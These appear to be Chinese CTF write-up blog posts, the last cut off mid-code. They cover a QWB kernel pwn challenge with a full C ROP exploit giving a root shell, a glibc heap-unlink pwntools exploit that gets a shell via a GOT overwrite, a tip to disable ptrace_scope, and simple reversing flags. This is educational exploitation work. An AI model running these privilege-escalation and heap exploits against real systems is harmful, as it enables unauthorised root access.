signed表示有符号,unsigned表示无符号。对应的有符号数的最大取值要比无符号的小约一半,因为最高一位被用来表示符号。
默认的int、short、long、long long为有符号数,也就是说,int等价于signed int,short等价于signed short,long等价于signed long,long long等价于signed long long。但是char本身是signed char还是unsigned char,取决于语言的实现(编译器)。
范围列表如下:
signed char:[-2^7, 2^7)即[-128, 128);验证
unsigned char:[0, 2^8)即[0, 256);
signed n位整数:[-2^(n-1), 2^(n-1));
unsigned n位整数:[0, 2^n)。
注意整数类型占多少空间是不确定的,只能保证sizeof(shor)<=sizeof(int)<=sizeof(long)。一般32位平台上,int和long为32位,short为16位,long long为64位
所以这里可以传入负数导致溢出 因为需要利用溢出所以我们只需要控制构造长度为0xf000000000000300,即可成功覆盖RIP
因为没有开启smep 所以可以利用ret2user在用户态下提权或者在内核态rop进行提权
常见提权命令
commit_creds(prepare_kernel_cred(0));
unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 *v3; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v6; // [rsp-50h] [rbp-50h]
unsigned __int64 v7; // [rsp-10h] [rbp-10h]
v2 = a1;
v7 = __readgsqword(0x28u);
printk(&unk_25B, a2);
printk(&unk_275, off);
v3 = &v6;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v3 = 0;
v3 = (__int64 *)((char *)v3 + 4);
}
strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v2, (char *)&v6 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v7;
__asm { swapgs }
return result;
}
注意到result这里 执行了copy_to_user()函数
在学习Linux内核驱动的时候,经常会碰到copy_from_user和copy_to_user这两个函数,设备驱动程序中的ioctl函数就经常会用到。这两个函数负责在用户空间和内核空间传递数据
查看下他们的定义
copy_from_user:
static inline unsigned long copy_from_user(void *to, const void __user *from, unsigned long n)
{
if (access_ok(VERIFY_READ, from, n))
n = __arch_copy_from_user(to, from, n);
else /* security hole - plug it */
memzero(to, n);
return n;
}
copy_to_user:
unsigned long copy_to_user(void __user *to, const void *from, unsigned long n)
{
if (access_ok(VERIFY_WRITE, to, n))
n = __copy_to_user(to, from, n);
return n;
}
其中函数的三个参数含义为:to是内核空间的指针,from是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。如果成功执行拷贝操作,则返回0,否则返回还没有完成拷贝的字节数
其中access_ok()是
#ifdef CONFIG_MMU
#define access_ok(type,addr,size) (likely(__range_ok(addr,size) == 0))
#else
static inline int access_ok(int type, const void *addr, unsigned long size)
{
extern unsigned long memory_start, memory_end;
unsigned long val = (unsigned long)addr;
return ((val >= memory_start) && ((val + size) < memory_end));
}
返回再看函数
result = copy_to_user(v2, (char *)&v6 + off, 64LL);
查看下汇编
.text:00000000000000AB mov rsi, offset src ; "Welcome to the QWB CTF challenge.\n"
.text:00000000000000B2 mov rdi, rsp ; dest
.text:00000000000000B5 call strcpy
.text:00000000000000BA mov rsi, rsp
.text:00000000000000BD add rsi, cs:off
.text:00000000000000C4 mov edx, 40h ; '@'
.text:00000000000000C9 mov rdi, rbx
.text:00000000000000CC call _copy_to_user
.text:00000000000000D1 test rax, rax
.text:00000000000000D4 jz short loc_DB
看到v6其实就是rsp 而off又是我们可以控制设置的 传入 0x6677889C ,所以利用好这个点 可以leak canary(从0位开始获取)以及内核函数地址
canary = rsp+ 0x40
所以设置off为0x40
程序基本分析完毕
1.存在溢出 可以利用执行rop
2.off可控 利用v6+off leak canary
3.因为给出静态vmlinux //可以直接在此中查找gadget
利用ropgadget提取gadget 过于缓慢 …(CTFwiki suggest use Ropper)
所以我们用Ropper提取gadget
➜ give_to_player ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
➜ give_to_player checksec vmlinux
[*] '/home/ios/kernel/croe/give_to_player/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000) #raw_vmlinux_base
RWX: Has RWX segments
#include
#include
#include
#include
#include
#include
#include
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
int main(void){
find_symbols();
unsigned long long offset = vmlinux_base - raw_vmlinux_base;
printf("{==dbg==} leak offset: %p\n",(void*)offset);
}
就像刚开始说的一样 内核态与用户态pwn的差别 内核态还需要稳定堆栈
在内核返回用户态的时候,会调用iretq,iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,如果不能构造好这些参数,系统会崩溃
这里采取提前保存的方式来稳定堆栈
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void *page = mmap(0,0x400000,3,34,-1,0);
int ret;
char buf[64];
memset(buf,0,64);
#use to fake stack
puts("{==dbg==} set off");
ret = ioctl(fd,0x6677889C,0x40);
#set off =0x40
printf("{==dbg==} ret: %d\n",ret);
puts("{==dbg==} copy to user");
ret = ioctl(fd,0x6677889b,(void *)buf);
#set case = 0x6677889b into core_read than leak canary
printf("{==dbg==} ret: %d\n",ret);
unsigned long long canary = ((unsigned long long *)buf)[0];
printf("{==dbg==} canary: %p\n",(void *)canary);
有了cananry 就可以构造rop了
char rop_buf[0x1000];
unsigned long long * rop = (unsigned long long *)rop_buf;
int i=0;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = canary;
rop[i++] = 0x6161616161616161;//rbx
//ret
rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
rop[i++] = 0xdeadbeef;
rop[i++] = 0xffffffff81050ac2+offset;//iretq
rop[i++] = (unsigned long long)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = (unsigned long long)(page+0x400000);
rop[i++] = user_ss;
write(fd,rop_buf,0x800);
ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));
要注意在getshell前,提前save_state
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */
if(kallsyms_fd < 0)
{
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
if(commit_creds & prepare_kernel_cred)
return 0;
if(strstr(buf, "commit_creds") && !commit_creds)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%llx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
}
}
if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void shell(void) {
if(!getuid())
execl("/bin/sh", "sh", NULL);
exit(0);
}
int main(void){
int fd = open("/proc/core",O_RDWR);
if(fd<0){
puts("open core error!");
exit(0);
}
printf("{==dbg==} fd: %d\n",fd);
save_state();
find_symbols();
void *page = mmap(0,0x400000,3,34,-1,0);
int ret;
char buf[64];
memset(buf,0,64);
puts("{==dbg==} set off");
ret = ioctl(fd,0x6677889C,0x40);
printf("{==dbg==} ret: %d\n",ret);
puts("{==dbg==} copy to user");
ret = ioctl(fd,0x6677889b,(void *)buf);
printf("{==dbg==} ret: %d\n",ret);
unsigned long long canary = ((unsigned long long *)buf)[0];
unsigned long long offset = vmlinux_base - raw_vmlinux_base;
printf("{==dbg==} canary: %p\n",(void *)canary);
printf("{==dbg==} leak offset: %p\n",(void*)offset);
char rop_buf[0x1000];
unsigned long long * rop = (unsigned long long *)rop_buf;
int i=0;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = 0x6161616161616161;
rop[i++] = canary;
rop[i++] = 0x6161616161616161;//rbx
//ret
rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
rop[i++] = 0;
rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
rop[i++] = 0xdeadbeef;
rop[i++] = 0xffffffff81050ac2+offset;//iretq
rop[i++] = (unsigned long long)shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = (unsigned long long)(page+0x400000);
rop[i++] = user_ss;
puts("{==dbg==} copy from user");
write(fd,rop_buf,0x800);
puts("{==dbg==} lets rop");
ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));
printf("{==dbg==} ret: %d\n",ret);
return 0;
}
use gcc make it
gcc -g exp.c -o exp
将编译好的exp放入解包后德tmp目录里 并且重新打包
➜ core ls
bin core.id2 core.til init linuxrc sbin usr
core.id0 core.ko etc lib proc sys vmlinux
core.id1 core.nam gen_cpio.sh lib64 root tmp
➜ core ./gen_cpio.sh core.cpio
.
./vmlinux
......
......
./lib64
./lib64/libm.so.6
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125600 块
➜ core mv core.cpio ../
运行exp 成功提权
➜ core cd ..
➜ give_to_player ./start.sh
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[ 0.026145] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $
/$ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/$ cd tmp
/$ ./exp
{==dbg==} fd: 3
commit_creds addr: 0xffffffff9869c8e0
vmlinux_base addr: 0xffffffff98600000
prepare_kernel_cred addr: 0xffffffff9869cce0
{==dbg==} set off
{==dbg==} ret: 0
{==dbg==} copy to user
{==dbg==} ret: 0
{==dbg==} canary: 0x3b35ff2e9fa44700
{==dbg==} leak offset: 0x17600000
{==dbg==} copy from user
{==dbg==} lets rop
/tmp # id
uid=0(root) gid=0(root)
还是有很多不懂得地方,边学习边记录
]]>初始三个chunk大小都为0x80
| chunk1 | chunk2 | chunk3 | ||
|---|---|---|---|---|
| PRE_size | __ | PRE_size | __ | PRE_size |
| SIZE=0x80 | SIZE=0x80 | SIZE=0x80 | ||
| FD=next_PRE_size | FD=next_PRE_size | FD=0x0 | ||
| BK=0x0 | BK=before_PRE_size | BK=before_PRE_size | ||
| String | String | String |
接着进行unlink操作
令chunk1 FD => chunk3 PRE_size
令chunk3 BK => chunk1 PRE_size
| chunk1 | chunk2 | chunk3 | ||
|---|---|---|---|---|
| PRE_size | __ | PRE_size | __ | PRE_size |
| SIZE=0x80 | SIZE=0x80 | SIZE=0x80 | ||
| FD=next_next_PRE_size | FD=next_PRE_size | FD=0x0 | ||
| BK=0x0 | BK=before_PRE_size | BK=before_before_PRE_size | ||
| String | String | String |
执行unlink 后
| chunk1 | chunk3 | |||
|---|---|---|---|---|
| PRE_size | ____ | PRE_size | ||
| SIZE=0x80 | SIZE=0x80 | SIZE=0x80 | ||
| FD=next_PRE_size | FD=next_PRE_size | FD=0x0 | ||
| BK=0x0 | BK=before_PRE_size | BK=before_PRE_size | ||
| String | String | String |
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
#由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
既然要满足这个条件还要成功利用可以考虑伪造一个chunk从而绕过该检查
32位时
| chunk1 | fake chunk | chunk3 | ||
|---|---|---|---|---|
| PRE_size | __ | PRE_size | __ | PRE_size |
| SIZE=0x80 | SIZE=0x30 | SIZE=0x80 | ||
| FD=next_next_PRE_size | FD=ptr-0x12 | FD=0x0 | ||
| BK=0x0 | BK=ptr-0x8 | BK=before_before_PRE_size | ||
| String | String | String |
此时
chunk1 FD = fake_chunk_PRE_size = ptr - 0x12
chunk3 BK = fake_chunk_PRE_size=ptr - 0x8
满足
FD->bk = P
BK->fd = P
64位时
| chunk1 | fake chunk | chunk3 | ||
|---|---|---|---|---|
| PRE_size | __ | PRE_size | __ | PRE_size |
| SIZE=0x80 | SIZE=0x30 | SIZE=0x80 | ||
| FD=next_next_PRE_size | FD=ptr-0x18 | FD=0x0 | ||
| BK=0x0 | BK=ptr-0x10 | BK=before_before_PRE_size | ||
| String | String | String |
此时
chunk1 FD = fake_chunk_PRE_size = ptr - 0x18
chunk3 BK = fake_chunk_PRE_size=ptr - 0x10
满足
FD->bk = P
BK->fd = P
__int64 sub_400C58()
{
while ( fgets((char *)&v3, 10, stdin) )
{
v0 = atoi((const char *)&v3);
if ( v0 == 2 )
{
v2 = edite(&v3); //creat chunk
goto LABEL_14;
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
v2 = delete(); // free chunk
goto LABEL_14;
}
if ( v0 == 4 )
{
v2 = print(); //print
goto LABEL_14;
}
}
else if ( v0 == 1 )
{
v2 = alloc(); //creat chunk size
goto LABEL_14;
}
}
查看下每一个函数
fgets((char *)&v3, 16, stdin);
v1 = atoll((const char *)&v3);
v2 = (char *)malloc(v1) //malloc size
if ( !v2 )
return 0xFFFFFFFFLL;
ptr[++dword_602100] = v2; //指针存在于全局变量中 跟入++dword_60210即可查看到
printf("%d\n", (unsigned int)dword_602100, v1);
fgets((char *)&v5, 16, stdin);
v2 = atol((const char *)&v5);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !ptr[v2] )
return 0xFFFFFFFFLL;
fgets((char *)&v5, 16, stdin);
v3 = atoll((const char *)&v5);
v4 = ptr[v2];
// 无限制读入大小 可以无限制读入 导致溢出
for ( i = fread(v4, 1uLL, v3, stdin); i > 0; i = fread(v4, 1uLL, v3, stdin) )
{
v4 += i;
v3 -= i;
}
if ( v3 )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
fgets((char *)&v2, 16, stdin);
v1 = atol((const char *)&v2);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !ptr[v1] )
return 0xFFFFFFFFLL;
free(ptr[v1]); //free chunk
ptr[v1] = 0LL;
return 0LL;
那么存在堆溢出 并且无限制creat chunk and chunk size
满足unlink
既然知道了需要构造unlink ,所以来屡屡怎么操作
1.至少创建3个chunk(4个也可以,第四个chunk用来写/bin/sh\x00)
2.防止top chunk 合并导致无法利用
3.64位程序 fd bk满足条件
fd = ptr - 0x18
bk = ptr - 0x10
4.注意ptr地址位全局变量地址+0x10(gdb调试可以看出)
5.leak出真实函数地址:puts atoi都可以
6.得到system函数地址
7.getshell
pwndbg> x/10gx 0x602140
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000e05a80 0x0000000000e05aa0
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
发现指针地址从 0x602150可写
而全局变量地址位 0x602140 所以 ptr地址= 0x602140+0x10
创建4个small chunk
alloc(0x80) //idx1 use to leak puts addr
alloc(0x80)//idx2 overflow to write a fake chunk
alloc(0x80)//idx3 use to unlink
alloc(0x80)//idx4 write /bin/sh\x00
fake chunk 构造
ptr = 0x602140+0x10
fd = ptr -0x18
bk =ptr-0x10
payload = p64(0) #fake_chunk PRE_size
payload += p64(0x30) #fake_chunk size
payload +=p64(fd)#fake_chunk fd
payload +=p64(bk) #fake_chunk bk
payload +='a'*0x10 #fake_string
payload += p64(0x30) #overflow fake_chunk
payload += p64(0x90) #overwrite chunk3 PRE_size
edite(2,payload)
delete(3) #unlink fake chunk, now chunk2*ptr =&(chunk2*ptr) - 0x18 = ptr-0x10 - 8
fgets接收的字符地址距离rsp 0x24
所以可以构造leak payload
payload1 = 'a'*8+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])
edite(2,payload1) #overwrite
edite(1,p64(elf.symbols['puts']))# write puts.plt
free(2) #leak puts addr
data = p.recvuntil('OK\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
接着计算出system地址 以及在chunk4中写入/bin/sh\x00
system = puts - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#binsh = puts - libc.symbols['puts']+next(libc.search('/bin/sh'))
read_in(1,p64(system)) # free_got => system_got
read_in(4,'/bin/sh\x00')
free_it(4)
p.interactive()
from pwn import *
context.log_level = 'debug'
p = process('./stkof')
elf = ELF('stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def alloc(size):
p.sendline("1")
p.sendline(str(size))
p.recvuntil("OK\n")
def read_in(idx,content):
p.sendline("2")
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(str(content))
p.recvuntil('OK\n')
def free_it(idx):
p.sendline("3")
p.sendline(str(idx))
#gdb.attach(p)
ptr = 0x602140 +0x10
alloc(0x60) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4
payload = p64(0) #fake chunk pre_size
payload += p64(0x30) #fake chunk size
payload += p64(ptr-0x18) #fake fd
payload += p64(ptr-0x10) #fake bk
payload += 'A'*0x10
payload += p64(0x30)#overflow fake chunk
payload += p64(0x90)#overflow next chunk pre_size size
read_in(2,payload)
free_it(3)
p.recvuntil('OK\n')
payload1 = 'a'*16+p64(elf.got['free'])+p64(elf.got['puts'])+p64(elf.got['atoi'])
read_in(2,payload1)
read_in(1,p64(elf.plt['puts']))
free_it(2)
data = p.recvuntil('\nOK\n',drop=True)
puts = u64(data.ljust(8,'\x00'))
print hex(puts)
#puts_addr = u64(p.recvuntil("\nOK\n",drop = True).ljust(8,'\x00'))
#print hex(puts_addr)
system = puts - libc.symbols['puts'] + libc.symbols['system']
print hex(system)
#binsh = puts - libc.symbols['puts']+next(libc.search('/bin/sh'))
read_in(1,p64(system)) # free_got => system_got
read_in(4,'/bin/sh\x00')
free_it(4)
p.interactive()
成功getshell 此题只用与学习unlink操作 以及学习glibc保护机制
由于ubuntu18.04中对堆操作进行了修改 所以此unlink.py在ubuntu18.04中无法成功leak 在malloc4个smallchunk后出现和并(继续研究~)
pwndbg> attach 15790
Attaching to process 15790
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 15790 is a zombie - the process has already terminated
ptrace: 不允许的操作.
解决方法:
➜ ~ sudo vi /etc/sysctl.d/10-ptrace.conf
将
kernel.yama.ptrace_scope = 1
改为
kernel.yama.ptrace_scope = 0
重启即可
]]>
下载载入IDA 查看
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
v4 = -1;
printf("Guess number: ", argv, envp);
__isoc99_scanf("%d", &v4);
if ( v4 == 2333333 )
{
printf("Congraz! You are right. This is your flag: ");
get_flag();
}
else
{
puts("Nop. You should try harder~");
}
return 0;
}
逻辑很简单 输入2333333即可getflag
FLAG : SUSCTF{H3llo_wOr1d!}

提示工具 uncompyle6
安装完毕 运行
uncompyle6 HelloPython.pyc
得到源代码
➜ 下载 uncompyle6 HelloPython.pyc
# uncompyle6 version 3.2.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
# [GCC 7.3.0]
# Embedded file name: HelloPython.py
# Compiled at: 2018-09-27 23:27:58
# Size of source mod 2**32: 1227 bytes
import sys
if len(sys.argv) < 5:
print("I can't give you flag :(")
sys.exit(0)
def Fibonacci(n):
if n == 0:
return 0
elif n == 1:
return 1
else:
numfn1 = 0
numfn2 = 1
for i in range(2, n + 1):
currentNum = numfn1 + numfn2
numfn1 = numfn2
numfn2 = currentNum
return currentNum
def encrypt(key, s):
b = bytearray(str(s).encode('gbk'))
n = len(b)
c = bytearray(n * 2)
j = 0
for i in range(0, n):
b1 = b[i]
b2 = b1 ^ key
c1 = b2 % 16
c2 = b2 // 16
c1 = c1 + 65
c2 = c2 + 65
c[j] = c1
c[j + 1] = c2
j = j + 2
return c.decode('gbk')
def decrypt(key, s):
c = bytearray(str(s).encode('gbk'))
n = len(c)
if n % 2 != 0:
return ''
else:
n = n // 2
b = bytearray(n)
j = 0
for i in range(0, n):
c1 = c[j]
c2 = c[j + 1]
j = j + 2
c1 = c1 - 65
c2 = c2 - 65
b2 = c2 * 16 + c1
b1 = b2 ^ key
b[i] = b1
return b.decode('gbk')
if int(sys.argv[1]) > 10:
if Fibonacci(int(sys.argv[1])) == int(sys.argv[4]):
print(decrypt(15, 'MFKFMFMELFJEEHIFMDDGMGAGCGKGAFLHAGAFPHGHLHHGAGBGICMHAFIHAGNHODLGCH'))
# okay decompiling HelloPython.pyc
分析 存在加密解密函数 如果满足第一个三处等于第四个参数且第一个参数大于10就输出解密后面的字符串
这里我们可以删除 if语句 以及最前面的长度判断 直接print
所以可以得到源码
# uncompyle6 version 3.2.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
# [GCC 7.3.0]
# Embedded file name: HelloPython.py
# Compiled at: 2018-09-27 23:27:58
# Size of source mod 2**32: 1227 bytes
import sys
def Fibonacci(n):
if n == 0:
return 0
elif n == 1:
return 1
else:
numfn1 = 0
numfn2 = 1
for i in range(2, n + 1):
currentNum = numfn1 + numfn2
numfn1 = numfn2
numfn2 = currentNum
return currentNum
def encrypt(key, s):
b = bytearray(str(s).encode('gbk'))
n = len(b)
c = bytearray(n * 2)
j = 0
for i in range(0, n):
b1 = b[i]
b2 = b1 ^ key
c1 = b2 % 16
c2 = b2 // 16
c1 = c1 + 65
c2 = c2 + 65
c[j] = c1
c[j + 1] = c2
j = j + 2
return c.decode('gbk')
def decrypt(key, s):
c = bytearray(str(s).encode('gbk'))
n = len(c)
if n % 2 != 0:
return ''
else:
n = n // 2
b = bytearray(n)
j = 0
for i in range(0, n):
c1 = c[j]
c2 = c[j + 1]
j = j + 2
c1 = c1 - 65
c2 = c2 - 65
b2 = c2 * 16 + c1
b1 = b2 ^ key
b[i] = b1
return b.decode('gbk')
print(decrypt(15, 'MFKFMFMELFJEEHIFMDDGMGAGCGKGAFLHAGAFPHGHLHHGAGBGICMHAFIHAGNHODLGCH'))
运行可以得到flag
SUSCTF{W3lcome_to_python's_wor1d}
载入ida分析
if ( strlen(s) == 30 )
{
for ( i = 0; i <= 29; ++i )
{
if ( (s[i] ^ *(&v5 + i)) != *(&v35 + i) )
{
puts("Something wrong, you should try harder.");
return 0;
}
}
puts("Congrazzzzzz~ You got it!");
result = 0;
}
else
{
puts("Something wrong, you should try harder.");
result = 0;
}
可以得出flag长度为30且 要满足 if中的xor操作 这里处理一下两个数组
得到可观代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4[31]; // [rsp+Ch] [rbp-134h]
int v5[30]; // [rsp+90h] [rbp-B0h]
char s[8]; // [rsp+110h] [rbp-30h]
__int64 v7; // [rsp+118h] [rbp-28h]
__int64 v8; // [rsp+120h] [rbp-20h]
__int64 v9; // [rsp+128h] [rbp-18h]
__int64 v10; // [rsp+130h] [rbp-10h]
unsigned __int64 v11; // [rsp+138h] [rbp-8h]
v11 = __readfsqword(0x28u);
v4[1] = 48;
v4[2] = 46;
v4[3] = 96;
v4[4] = 101;
v4[5] = 116;
v4[6] = 9;
v4[7] = 73;
v4[8] = 125;
v4[9] = 25;
v4[10] = 84;
v4[11] = 5;
v4[12] = 23;
v4[13] = 109;
v4[14] = 26;
v4[15] = 28;
v4[16] = 100;
v4[17] = 17;
v4[18] = 64;
v4[19] = 21;
v4[20] = 52;
v4[21] = 74;
v4[22] = 122;
v4[23] = 29;
v4[24] = 68;
v4[25] = 54;
v4[26] = 17;
v4[27] = 31;
v4[28] = 80;
v4[29] = 73;
v4[30] = 8;
v5[0] = 99;
v5[1] = 123;
v5[2] = 51;
v5[3] = 38;
v5[4] = 32;
v5[5] = 79;
v5[6] = 50;
v5[7] = 5;
v5[8] = 41;
v5[9] = 38;
v5[10] = 90;
v5[11] = 38;
v5[12] = 30;
v5[13] = 69;
v5[14] = 121;
v5[15] = 80;
v5[16] = 98;
v5[17] = 57;
v5[18] = 74;
v5[19] = 64;
v5[20] = 5;
v5[21] = 37;
v5[22] = 111;
v5[23] = 119;
v5[24] = 64;
v5[25] = 116;
v5[26] = 109;
v5[27] = 101;
v5[28] = 44;
v5[29] = 117;
*(_QWORD *)s = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
printf("Give me flag: ", argv, envp);
__isoc99_scanf("%s", s);
if ( strlen(s) == 30 )
{
for ( v4[0] = 0; v4[0] <= 29; ++v4[0] )
{
if ( (s[v4[0]] ^ v4[v4[0] + 1]) != v5[v4[0]] )
{
puts("Something wrong, you should try harder.");
return 0;
}
}
puts("Congrazzzzzz~ You got it!");
result = 0;
}
else
{
puts("Something wrong, you should try harder.");
result = 0;
}
return result;
}
分析代码 若要获得flag 需要将v4的每一位与v5的每一位xor操作 即可
EXP
v4 = [48,46,96,101,116,9,73,125,25,84,5,23,109,26,28,100,17,64,21,52,74,122,29,68,54,17,31,80,73,8]
v5 = [99,123,51,38,32,79,50,5,41,38,90,38,30,69,121,80,98,57,74,64,5,37,111,119,64,116,109,101,44,117]
str = ''
for i in range(0,30):
str += chr((v4[i]^v5[i]))
print str
运行即可
FLAG : SUSCTF{x0r_1s_e4sy_tO_r3ver5e}

载入IDA 分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
signed int i; // [rsp+Ch] [rbp-44h]
char s[48]; // [rsp+10h] [rbp-40h]
__int16 v6; // [rsp+40h] [rbp-10h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
v6 = 0;
srand(0xDEADBEEF);
printf("Give me flag: ", argv);
__isoc99_scanf("%s", s);
if ( strlen(s) == 39 )
{
for ( i = 0; i <= 38; ++i )
{
if ( (rand() % 127 ^ s[i]) != c_text[i] )
{
puts("Wrong");
return 0;
}
}
puts("Right");
result = 0;
}
else
{
puts("Wrong");
result = 0;
}
return result;
}
核心操作
for ( i = 0; i <= 38; ++i )
{
if ( (rand() % 127 ^ s[i]) != c_text[i] )
{
puts("Wrong");
return 0;
}
}
和上一题类似 只不过需要猜测随机数
但是srand 可以预测 所以我们 先写一个随机数预测脚本
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
intmain(void)
{
srand(0xDEADBEEF);
